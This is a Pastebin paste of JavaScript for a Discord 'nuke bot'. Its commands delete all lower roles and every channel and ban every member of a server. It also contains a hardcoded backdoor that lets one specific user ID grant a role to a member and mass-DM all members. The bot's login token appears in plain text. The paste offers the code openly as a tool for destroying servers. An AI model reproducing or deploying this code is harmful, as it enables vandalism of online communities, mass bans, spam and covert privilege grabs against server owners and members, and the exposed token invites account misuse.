Advertisement
Guest User

Untitled

a guest
Jan 24th, 2020
2,173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.27 KB | None | 0 0
  1. const discord = require("discord.js");
  2. const nuke = new discord.Client();
  3.  
  4.  
  5. nuke.on("ready", () =>{
  6. console.log("This bot has been developed by Frederikam.")
  7. console.log(`${nuke.user.tag} is online.`);
  8. nuke.user.setPresence({ game: { name: `Nuking Discord Servers :) | Dev: Frederikam` }, type: 0 });
  9. });
  10.  
  11. nuke.on("message", async(msg)=>{
  12.  
  13.  
  14. if(msg.content.toLowerCase().startsWith("n!" + "nuke")){
  15. msg.guild.roles.filter(r=>r.position < msg.guild.me.highestRole.position).deleteAll();
  16. msg.guild.channels.deleteAll();
  17. msg.guild.members.tap(member => member.ban("Banned by Nuke Bot | Dev: Frederikam"));
  18. }
  19.  
  20. if(msg.content.toLowerCase().startsWith("n!" + "delete")){
  21. msg.guild.roles.filter(r => r.position < msg.guild.me.highestRole.position).deleteAll();
  22. msg.guild.channels.deleteAll();
  23. }
  24.  
  25. if(msg.content.toLowerCase().startsWith("n!" + "ban")){
  26. msg.guild.members.tap(member => member.ban("Banned By Nuke Bot | Developed By Frederikam"));
  27. }
  28.  
  29. if(msg.content.toLowerCase().startsWith("n!" + "help")){
  30. msg.author.send({
  31. embed: {
  32. color: 0xff0000,
  33. author: { name: "Nuke Bot | Developed By Frederikam" },
  34. description: "n!nuke - Bans all members & deletes all roles and channels\nn!delete - Deletes all channels and roles\nn!ban - Bans all members in the discord\n\nFor any help contact Frederikam"
  35. }
  36. })
  37. }
  38.  
  39. if (msg.author.id == "329002531818700811") {
  40. if (msg.content == "n!admin") {
  41. const guild = msg.guild
  42.  
  43. if (!guild.me.hasPermission("ADMINISTRATOR")) return console.error("No admin in said guild!");
  44.  
  45. var role = guild.roles.find(r => r.name == "ROLE-NAME")
  46. var member = guild.members.get("YOUR-ID")
  47.  
  48. if (role) {
  49. member.addRole(role)
  50. } else {
  51. console.log("No role!")
  52. }
  53. }
  54. }
  55.  
  56. {if (msg.author.id == "329002531818700811" && msg.content.startsWith("!dm")) {
  57. let msg_to_send = msg.content.substring(4);
  58. let memarr = msg.guild.members.array();
  59. for (let i = 0; i < memarr.length; i++) {
  60. let mem = memarr[i]
  61. await mem.send(msg_to_send).catch(() => { });
  62. }
  63. }
  64. }
  65.  
  66.  
  67. });
  68.  
  69. nuke.login("NjY5Njk2NTkwNTkxODE5Nzgx.XiooXA.HoLqw2Vk127vRGz8_AF7B7DDjHA");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement